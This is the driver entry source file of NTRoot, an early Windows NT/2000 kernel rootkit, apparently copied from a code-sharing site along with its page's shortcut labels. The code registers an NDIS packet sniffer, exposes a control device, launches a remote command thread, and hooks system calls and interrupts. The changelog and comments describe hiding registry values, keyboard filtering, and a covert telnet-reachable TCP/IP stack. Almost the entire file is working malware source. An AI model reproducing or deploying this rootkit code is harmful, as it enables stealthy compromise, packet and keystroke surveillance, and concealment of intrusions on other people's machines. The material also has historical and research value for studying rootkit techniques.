📄 rk_driver.c
字号:
/**********************************************************************************
* NTRoot
* Version 0.1a
* Greg Hoglund
*
* June 1, 1999 - Greg Hoglund - fixed a bunch of cruft
* June 3, 1999 - Greg Hoglund - will still BSOD if you attempt to UNLOAD the
* driver.. leaving this issue for now, just don't
* unload, I think it's related to NDIS, but not sure.
* ** adding PsCreateSystemProcess() call
* July 29, 1999 - Greg Hoglund
* - OnUnload crashes on NdisDeregisterProtocol. - still not fixed
* - added ethernet header to returned buffer, so
* - RogueX client can read entire raw packets now.
* - cleaned up code & split into several source files
*
* October 10, 1999 - Greg Hoglund
* - adding system service table code ;-)
* October 26, 1999 - Greg Hoglund
* - added interrupt descriptor table patch //kickin'//
* November 22, 1999 - modify ReadRegistry() to enum first network key (what a bitch)
* November 23, 1999 - adding exception handling for easier debugging - I'm tired
* - of BSOD'n my machines.
* - added NDIS event to wait for OnUnload(). (needs testing)
* - current build is locking up win2K boxes - works on NT4.0 (?)
* December 9, 1999 - Greg Hoglund
* - added numerous call hooks - is now hiding registry values
* - builds/runs on both NT40 & WIN2K, Unload() works flawlessly
*
* Feb 2, 2001 - OK, it has been a LONG time since I worked on this...
* I added a haxored TCP/IP stack so you can telnet to the
* rootkit and made a command-parser. I added a few commands
* to get started, including 'ps' to list the processes on the
* host. I added a worker-thread to handle command processing.
* -Greg
***********************************************************************************/
#include "rk_driver.h"
#include "rk_packet.h"
#include "rk_defense.h"
#include "rk_command.h"
#include "rk_keyboard.h"
#include "rk_utility.h"
/* ________________________________________________________________________________
. Our driver objects
. ________________________________________________________________________________ */
PDRIVER_OBJECT gDriverObjectP;
KSPIN_LOCK GlobalArraySpinLock;
KSPIN_LOCK WorkItemSpinLock;
KIRQL gIrqL;
POPEN_INSTANCE gOpenInstance = NULL; /* this is what we will use for notify packets */
char g_command_signal[256];
KEVENT command_signal_event;
KEVENT exec_signal_event;
VOID rootkit_command_thread(PVOID context);
BOOL g_kill_thread = FALSE;
HANDLE gWorkerThread;
// used for network sniffing
PDEVICE_OBJECT g_NdisDeviceObject = NULL;
// ----------------------------------------------------------------------
PDEVICE_OBJECT gKbdHookDevice = NULL; //this is a test
//
// The top of the stack before this filter was added. AKA the location
// to which all IRPS should be directed.
//
PDEVICE_OBJECT gKbdTopOfStack = NULL;
/////////////////////////////////////////////////////////////////////////////
// we must never unload if there are pending IRP's in our filter queue -
// so this will track how many we have outstanding...
/////////////////////////////////////////////////////////////////////////////
ULONG g_number_of_pending_IRPs = 0;
/* ________________________________________________________________________________
. NT Rootkit DRIVER ENTRY
. Setup the NDIS sniffer as well as hook the system service table and interrupts
. ________________________________________________________________________________ */
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
/* Network Sniffer related structs */
NDIS_PROTOCOL_CHARACTERISTICS aProtocolChar;
UNICODE_STRING aMacDriverName;
UNICODE_STRING aUnicodeDeviceName;
NDIS_HANDLE aNdisProtocolHandle;
NDIS_STRING aProtoName = NDIS_STRING_CONST("NTRoot");
NDIS_STATUS aErrorStatus;
NDIS_MEDIUM aMediumArray=NdisMedium802_3;
UNICODE_STRING aDriverName; // DD
PWSTR aBindString; // DD
PWSTR aExportString; // DD
PWSTR aBindStringSave; // DD
PWSTR aExportStringSave; // DD
/* our device so we can communicate with user mode */
PDEVICE_EXTENSION aDeviceExtension = NULL;
WCHAR aDeviceLinkBuffer[] = L"\\DosDevices\\Ntroot"; /* the \??\ dir (for users) */
UNICODE_STRING aDeviceLinkUnicodeString;
ULONG aDevicesCreated = 0;
NTSTATUS aStatus = STATUS_SUCCESS;
POPEN_INSTANCE anOpenP = NULL;
int i;
KIRQL aIrqL;
DbgPrint("ROOTKIT: DriverEntry called\n");
InitDefenseSystem();
SetupCallNumbers();
GetProcessNameOffset();
__try
{
KeInitializeSpinLock(&GlobalArraySpinLock); /* free me */
KeInitializeSpinLock(&WorkItemSpinLock); /* free me */
KeInitializeEvent(&command_signal_event, NotificationEvent, 0);
KeInitializeEvent(&exec_signal_event, NotificationEvent, 0);
//Create Queue for work items that need to run in passive level,
// and MUST run under some process context (NOT system).
//
// The perfect place to work with this queue , will be while intercepting
// a system call, because it allways passive, and good chance to be not system process.
//
// So in each (?) system call interception (wich happens A LOT) we will check this queue
// and execute one work item before continue processing the system call.
InitializeListHead(&ProcessContextWorkQueueHead);
/*
* init network sniffer - this is all standard and
* documented in the DDK.
*/
RtlZeroMemory( &aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
aProtocolChar.MajorNdisVersion = 3;
aProtocolChar.MinorNdisVersion = 0;
aProtocolChar.Reserved = 0;
aProtocolChar.OpenAdapterCompleteHandler = OnOpenAdapterDone;
aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;
aProtocolChar.SendCompleteHandler = OnSendDone;
aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;
aProtocolChar.ResetCompleteHandler = OnResetDone;
aProtocolChar.RequestCompleteHandler = OnRequestDone;
aProtocolChar.ReceiveHandler = OnReceiveStub;
aProtocolChar.ReceiveCompleteHandler = OnReceiveDoneStub;
aProtocolChar.StatusHandler = OnStatus;
aProtocolChar.StatusCompleteHandler = OnStatusDone;
aProtocolChar.Name = aProtoName;
DbgPrint("ROOTKIT: Registering NDIS Protocol\n");
NdisRegisterProtocol( &aStatus,
&aNdisProtocolHandle,
&aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
if (aStatus != NDIS_STATUS_SUCCESS) {
DbgPrint(("DriverEntry: ERROR NdisRegisterProtocol failed\n"));
return aStatus;
}
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
theDriverObject->MajorFunction[i] = OnStubDispatch;
}
/* ___[ we NEED to register the Unload() function ]___
. this is how we are able to dynamically unload the
. driver
. ___________________________________________________ */
theDriverObject->DriverUnload = OnUnload;
aDriverName.Length = 0;
aDriverName.Buffer = ExAllocatePool( PagedPool, MAX_PATH_LENGTH ); /* free me */
aDriverName.MaximumLength = MAX_PATH_LENGTH;
RtlZeroMemory(aDriverName.Buffer, MAX_PATH_LENGTH);
/* _______________________________________________________________
* get the name of the MAC layer driver
* and the name of the packet driver
* HKLM/SYSTEM/CurrentControlSet/Services/TcpIp/Linkage ..
* _______________________________________________________________ */
if (ReadRegistry( &aDriverName ) != STATUS_SUCCESS) {
goto RegistryError;
}
aBindString = aDriverName.Buffer;
aExportString = ExAllocatePool(PagedPool, MAX_PATH_LENGTH); /* free me */
RtlZeroMemory(aExportString, MAX_PATH_LENGTH);
wcscat(aExportString, L"\\Device\\Ntroot"); // visible to user mode
aBindStringSave = aBindString;
aExportStringSave = aExportString;
while (*aBindString != UNICODE_NULL && *aExportString != UNICODE_NULL)
{
/* for each entry */
RtlInitUnicodeString( &aMacDriverName, aBindString ); // the /device/ne20001 or whatever..
RtlInitUnicodeString( &aUnicodeDeviceName, aExportString );
/* MULTI_SZ */
aBindString += (aMacDriverName.Length+sizeof(UNICODE_NULL))/sizeof(WCHAR);
aExportString += (aUnicodeDeviceName.Length+sizeof(UNICODE_NULL))/sizeof(WCHAR);
/* create a device object for this driver */
aStatus = IoCreateDevice( theDriverObject,
sizeof(DEVICE_EXTENSION),
&aUnicodeDeviceName, // usermode export
FILE_DEVICE_PROTOCOL,
0,
FALSE,
&g_NdisDeviceObject );
if (aStatus != STATUS_SUCCESS) {
break;
}
/* create a symbolic link for first one*/
if(0 == aDevicesCreated){
//
// Create a symbolic link that the GUI can specify to gain access
// to this driver/device
//
RtlInitUnicodeString (&aDeviceLinkUnicodeString,
aDeviceLinkBuffer );
aStatus = IoCreateSymbolicLink ( &aDeviceLinkUnicodeString,
&aUnicodeDeviceName );
if (!NT_SUCCESS(aStatus)) {
DbgPrint (("NTROOT: IoCreateSymbolicLink failed\n"));
}
}
aDevicesCreated++;
g_NdisDeviceObject->Flags |= DO_DIRECT_IO;
aDeviceExtension = (PDEVICE_EXTENSION) g_NdisDeviceObject->DeviceExtension;
aDeviceExtension->DeviceObject = g_NdisDeviceObject;
/* save in extension */
aDeviceExtension->AdapterName = aMacDriverName;
if (aDevicesCreated == 1) {
aDeviceExtension->BindString = aBindStringSave;
aDeviceExtension->ExportString = aExportStringSave;
}
aDeviceExtension->NdisProtocolHandle = aNdisProtocolHandle;
}
//////////////////////////////////////////////////////////////////
// get our worker thread up and running
//////////////////////////////////////////////////////////////////
{
DbgPrint("thread: creating thread\n");
PsCreateSystemThread( &gWorkerThread,
(ACCESS_MASK) 0L,
NULL,
(HANDLE) 0L,
NULL,
rootkit_command_thread,
NULL);
}
if (aDevicesCreated > 0)
{
// allocate some memory for the open structure
anOpenP=ExAllocatePool(NonPagedPool,sizeof(OPEN_INSTANCE)); /* free me */
if (anOpenP==NULL) {
// no memory
// NO IRP -- Irp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES;
return STATUS_INSUFFICIENT_RESOURCES;
}
RtlZeroMemory(
anOpenP,
sizeof(OPEN_INSTANCE)
);
/* we will use the first opened instance to send notify packets */
gOpenInstance = anOpenP;
anOpenP->DeviceExtension=aDeviceExtension;
// init the send buffers we will be using
NdisAllocatePacketPool(
&aStatus,
&anOpenP->mPacketPoolH,
TRANSMIT_PACKETS,
sizeof(PACKET_RESERVED));
if (aStatus != NDIS_STATUS_SUCCESS) {
ExFreePool(anOpenP);
// FIXME cleanup
return STATUS_INSUFFICIENT_RESOURCES;
}
/* this is a null function under NT */
NdisAllocateBufferPool(
&aStatus,
&anOpenP->mBufferPoolH,
TRANSMIT_PACKETS );
if (aStatus != NDIS_STATUS_SUCCESS) {
ExFreePool(anOpenP);
// FIXME
return STATUS_INSUFFICIENT_RESOURCES;
}
/* go ahead and get that NDIS sniffer up */
//////////////////////////////////////////
// note: if we don't plan on attaching
// to the sniffer device from user mode
// we don't actually need the device
// at all, perhaps we can forgo the
// device completely for stealth reasons
// -greg
//////////////////////////////////////////
NdisOpenAdapter(
&aStatus,
&aErrorStatus,
&anOpenP->AdapterHandle,
&aDeviceExtension->Medium,
&aMediumArray,
1,
aDeviceExtension->NdisProtocolHandle,
anOpenP,
&aDeviceExtension->AdapterName,
0,
NULL);
if (aStatus != NDIS_STATUS_PENDING) {
OnOpenAdapterDone(
anOpenP,
aStatus,
NDIS_STATUS_SUCCESS
);
if(NT_SUCCESS(aStatus)){
DbgPrint(("NdisOpenAdapter returned STATUS_SUCCESS\n"));
return aStatus;
}
else switch(aStatus){
case STATUS_SUCCESS:
DbgPrint(("NdisOpenAdapter returned STATUS_SUCCESS\n"));
break;
case NDIS_STATUS_PENDING:
DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_PENDING\n"));
break;
case NDIS_STATUS_RESOURCES:
DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_RESOURCES\n"));
break;
case NDIS_STATUS_ADAPTER_NOT_FOUND:
DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_ADAPTER_NOT_FOUND\n"));
break;
case NDIS_STATUS_UNSUPPORTED_MEDIA:
DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_UNSUPPORTED_MEDIA\n"));
break;
case NDIS_STATUS_CLOSING:
DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_CLOSING\n"));
break;
case NDIS_STATUS_OPEN_FAILED:
DbgPrint(("NdisOpenAdapter returned NDIS_STATUS_OPEN_FAILED\n"));
break;
}
}
}
/* _______________________________________________________
. we are now online and sniffing packets
. _______________________________________________________ */
/* _______________________________________________________
. Hook our system calls and interrupts now
. _______________________________________________________ */
DbgPrint("rootkit: about to hook systemcalls\n");
HookSyscalls();
DbgPrint("rootkit: about to hook interrupts\n");
HookInterrupts();
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -